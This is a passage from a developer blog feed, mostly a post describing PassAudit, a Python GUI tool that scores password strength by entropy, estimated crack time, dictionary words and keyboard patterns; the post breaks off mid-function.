&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9si46458yq6g0fzs9f2h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9si46458yq6g0fzs9f2h.png" alt=" " width="731" height="59"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why I Built This
&lt;/h2&gt;

&lt;p&gt;As part of my ongoing cybersecurity learning journey, I want to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Build vulnerable systems intentionally&lt;/li&gt;
&lt;li&gt;Exploit them in a controlled environment&lt;/li&gt;
&lt;li&gt;Fix them properly&lt;/li&gt;
&lt;li&gt;Understand the “why,” not just the “how”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because real security knowledge comes from breaking and repairing systems yourself.&lt;/p&gt;

&lt;p&gt;Day 16 was not about writing more code. It was about writing safer code. And that difference matters.&lt;/p&gt;

</description>
      <category>python</category>
      <category>programming</category>
      <category>cybersecurity</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Day 15 — I Built PassAudit : A Real-Time Password Security Analyzer (and it revealed how predictable we are)</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Mon, 02 Mar 2026 11:34:58 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-15-i-built-passaudit-a-real-time-password-security-analyzer-and-it-revealed-how-45g1</link>
      <guid>https://forem.com/hafiz_shamnad/day-15-i-built-passaudit-a-real-time-password-security-analyzer-and-it-revealed-how-45g1</guid>
      <description>&lt;p&gt;A GUI tool that scores your password instantly… and brutally demonstrates why most passwords would not survive 5 minutes against a GPU.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why I Made This
&lt;/h2&gt;

&lt;p&gt;During CTFs and security labs, I kept noticing something funny.&lt;/p&gt;

&lt;p&gt;We spend hours learning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;Privilege Escalation&lt;/li&gt;
&lt;li&gt;Memory corruption&lt;/li&gt;
&lt;li&gt;Network attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But in real breaches?&lt;/p&gt;

&lt;p&gt;Attackers usually log in.&lt;/p&gt;

&lt;p&gt;Not hack in.&lt;/p&gt;

&lt;p&gt;They don’t defeat encryption.&lt;br&gt;
They defeat &lt;strong&gt;human behavior&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And the weakest point is always the same thing:&lt;/p&gt;

&lt;p&gt;passwords.&lt;/p&gt;

&lt;p&gt;So instead of another terminal script, I wanted something educational.&lt;br&gt;
A tool that reacts while you type and visually shows:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;how a computer actually sees your password.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That became &lt;strong&gt;PassAudit&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Problem With Typical Password Checkers
&lt;/h2&gt;

&lt;p&gt;Most websites use rules like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;8 characters minimum&lt;/li&gt;
&lt;li&gt;1 uppercase&lt;/li&gt;
&lt;li&gt;1 number&lt;/li&gt;
&lt;li&gt;1 symbol&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So users create:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hafiz@123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Technically complex.&lt;/p&gt;

&lt;p&gt;Practically terrible.&lt;/p&gt;

&lt;p&gt;Because attackers don’t guess passwords the way humans imagine.&lt;br&gt;
They don’t “try combinations”.&lt;/p&gt;

&lt;p&gt;They calculate probability and search space.&lt;/p&gt;

&lt;p&gt;A password can look complicated and still be mathematically tiny.&lt;/p&gt;

&lt;p&gt;I wanted a tool that proves that instantly.&lt;/p&gt;


&lt;h2&gt;
  
  
  What PassAudit Actually Does
&lt;/h2&gt;

&lt;p&gt;PassAudit analyzes your password on &lt;strong&gt;every keystroke&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;No submit button.&lt;/p&gt;

&lt;p&gt;As you type, it updates:&lt;/p&gt;

&lt;p&gt;• entropy score&lt;br&gt;
• crack time estimate&lt;br&gt;
• character diversity&lt;br&gt;
• pattern detection&lt;br&gt;
• dictionary detection&lt;br&gt;
• security verdict&lt;/p&gt;

&lt;p&gt;The strength bar moves in real time.&lt;/p&gt;

&lt;p&gt;You can literally watch your password become safer or collapse into red.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Core Idea: Entropy
&lt;/h2&gt;

&lt;p&gt;The real measure of password strength is &lt;strong&gt;entropy&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Entropy represents unpredictability.&lt;/p&gt;

&lt;p&gt;Formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;entropy = length × log₂(character_set_size)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Character set size depends on what you use:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Characters&lt;/th&gt;
&lt;th&gt;Possibilities&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;lowercase&lt;/td&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uppercase&lt;/td&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;numbers&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;symbols&lt;/td&gt;
&lt;td&gt;~32&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So a long password made only of lowercase letters is still weak.&lt;/p&gt;

&lt;p&gt;Because the search space stays small.&lt;/p&gt;

&lt;p&gt;Security isn’t about complexity.&lt;/p&gt;

&lt;p&gt;It’s about &lt;strong&gt;possibilities&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Scariest Feature: Crack Time
&lt;/h2&gt;

&lt;p&gt;PassAudit estimates how long a real attacker needs to brute-force the password.&lt;/p&gt;

&lt;p&gt;It assumes:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;10 billion guesses per second&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which modern GPUs can realistically achieve in offline attacks.&lt;/p&gt;

&lt;p&gt;Calculation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;time = 2^entropy / guesses_per_second
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example results:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;th&gt;Crack Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;password123&lt;/td&gt;
&lt;td&gt;seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwerty@123&lt;/td&gt;
&lt;td&gt;minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tr0ub4dor&amp;amp;3&lt;/td&gt;
&lt;td&gt;hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;random 16-char&lt;/td&gt;
&lt;td&gt;thousands of years&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The important part:&lt;/p&gt;

&lt;p&gt;Security grows &lt;strong&gt;exponentially&lt;/strong&gt;, not linearly.&lt;/p&gt;

&lt;p&gt;One unpredictable character can multiply safety by millions.&lt;/p&gt;




&lt;h2&gt;
  
  
  Catching Human Habits
&lt;/h2&gt;

&lt;p&gt;While testing, I discovered something interesting.&lt;/p&gt;

&lt;p&gt;People don’t invent randomness.&lt;/p&gt;

&lt;p&gt;They invent &lt;em&gt;memories&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;So I added behavior detections.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Dictionary Detection
&lt;/h3&gt;

&lt;p&gt;If a password contains common words:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;password
admin
welcome
letmein
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the verdict drops immediately.&lt;/p&gt;

&lt;p&gt;Because real attackers don’t brute force first.&lt;br&gt;
They run wordlists like &lt;strong&gt;rockyou.txt&lt;/strong&gt;.&lt;/p&gt;


&lt;h3&gt;
  
  
  2. Keyboard Pattern Detection
&lt;/h3&gt;

&lt;p&gt;This one was eye-opening.&lt;/p&gt;

&lt;p&gt;Patterns like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;qwerty
asdf
12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;appear constantly in breached databases.&lt;/p&gt;

&lt;p&gt;Humans remember finger motion, not randomness.&lt;/p&gt;

&lt;p&gt;Attackers know that.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Character Diversity
&lt;/h3&gt;

&lt;p&gt;The tool also checks if the password uses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;lowercase&lt;/li&gt;
&lt;li&gt;uppercase&lt;/li&gt;
&lt;li&gt;numbers&lt;/li&gt;
&lt;li&gt;symbols&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each category lights up visually.&lt;/p&gt;

&lt;p&gt;You instantly see what your password lacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Verdict Logic
&lt;/h2&gt;

&lt;p&gt;PassAudit classifies passwords using strict thresholds:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Verdict&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;WEAK&lt;/td&gt;
&lt;td&gt;entropy &amp;lt; 40 OR predictable patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MODERATE&lt;/td&gt;
&lt;td&gt;usable but risky&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;STRONG&lt;/td&gt;
&lt;td&gt;high entropy, no flags&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Below 40 bits, modern cracking rigs can recover passwords extremely quickly.&lt;/p&gt;

&lt;p&gt;Above 60 bits, brute force becomes impractical.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Surprised Me
&lt;/h2&gt;

&lt;p&gt;I asked friends to create a “secure password”.&lt;/p&gt;

&lt;p&gt;Most looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name@2024
College#1
Petname123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Different people.&lt;br&gt;
Same structure.&lt;/p&gt;

&lt;p&gt;Humans optimize for remembering.&lt;br&gt;
Attackers optimize for predicting.&lt;br&gt;
And prediction wins.&lt;/p&gt;


&lt;h2&gt;
  
  
  Code Walkthrough (How PassAudit Actually Works)
&lt;/h2&gt;

&lt;p&gt;PassAudit is divided into two parts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The security analysis engine&lt;/li&gt;
&lt;li&gt;The graphical interface&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The GUI only displays information.&lt;br&gt;
All decisions are made by the analysis functions.&lt;/p&gt;


&lt;h3&gt;
  
  
  1. Entropy Calculation
&lt;/h3&gt;

&lt;p&gt;The core of the project is this function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calc_entropy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[a-z]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[A-Z]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[0-9]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[^a-zA-Z0-9]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of checking only password length, the program first determines &lt;strong&gt;how many possible characters could have been used&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Each character category increases the search space:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;lowercase letters add 26 possibilities&lt;/li&gt;
&lt;li&gt;uppercase letters add 26&lt;/li&gt;
&lt;li&gt;digits add 10&lt;/li&gt;
&lt;li&gt;symbols add about 32&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The entropy formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;entropy = length × log₂(charset_size)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This represents how many guesses an attacker needs on average.&lt;/p&gt;

&lt;p&gt;So two 10-character passwords can have completely different strength depending on the character types used.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Dictionary Detection
&lt;/h3&gt;

&lt;p&gt;Attackers rarely brute-force first.&lt;br&gt;
They use wordlists.&lt;/p&gt;

&lt;p&gt;This function checks if the password contains common leaked passwords:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;dictionary_check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;pl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pl&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;COMMON_PASSWORDS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the password contains words like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;password
admin
welcome
letmein
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the tool immediately flags it as dangerous.&lt;/p&gt;

&lt;p&gt;Why?&lt;/p&gt;

&lt;p&gt;Because tools like Hashcat try millions of known passwords before attempting brute force.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Keyboard Pattern Detection
&lt;/h3&gt;

&lt;p&gt;Humans often remember motion, not randomness.&lt;/p&gt;

&lt;p&gt;So the program checks keyboard walks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;pattern_check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;pl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pl&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;KEYBOARD_PATTERNS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Patterns such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;qwerty
asdf
12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;are extremely common in breach databases.&lt;br&gt;
Even if they look complex to a human, they are predictable to an attacker.&lt;/p&gt;


&lt;h3&gt;
  
  
  4. Character Diversity
&lt;/h3&gt;

&lt;p&gt;This function counts how many different character groups are used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;diversity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;types&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[a-z]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[A-Z]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[0-9]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[^a-zA-Z0-9]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a number from 0 to 4.&lt;/p&gt;

&lt;p&gt;The GUI then lights up indicators for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;lowercase&lt;/li&gt;
&lt;li&gt;uppercase&lt;/li&gt;
&lt;li&gt;digits&lt;/li&gt;
&lt;li&gt;symbols&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This gives instant visual feedback about missing categories.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. Crack Time Estimation
&lt;/h3&gt;

&lt;p&gt;This is the most impactful feature psychologically.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;secs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;entropy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;10_000_000_000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The program assumes an attacker can test &lt;strong&gt;10 billion guesses per second&lt;/strong&gt; using modern GPUs.&lt;/p&gt;

&lt;p&gt;Then it converts seconds into a human readable format like minutes, hours, days, or years.&lt;/p&gt;

&lt;p&gt;Users immediately understand the difference between:&lt;br&gt;
“hard to guess” and “mathematically impossible”.&lt;/p&gt;


&lt;h3&gt;
  
  
  6. The Verdict System
&lt;/h3&gt;

&lt;p&gt;The decision engine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_verdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dict_hit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pat_hit&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
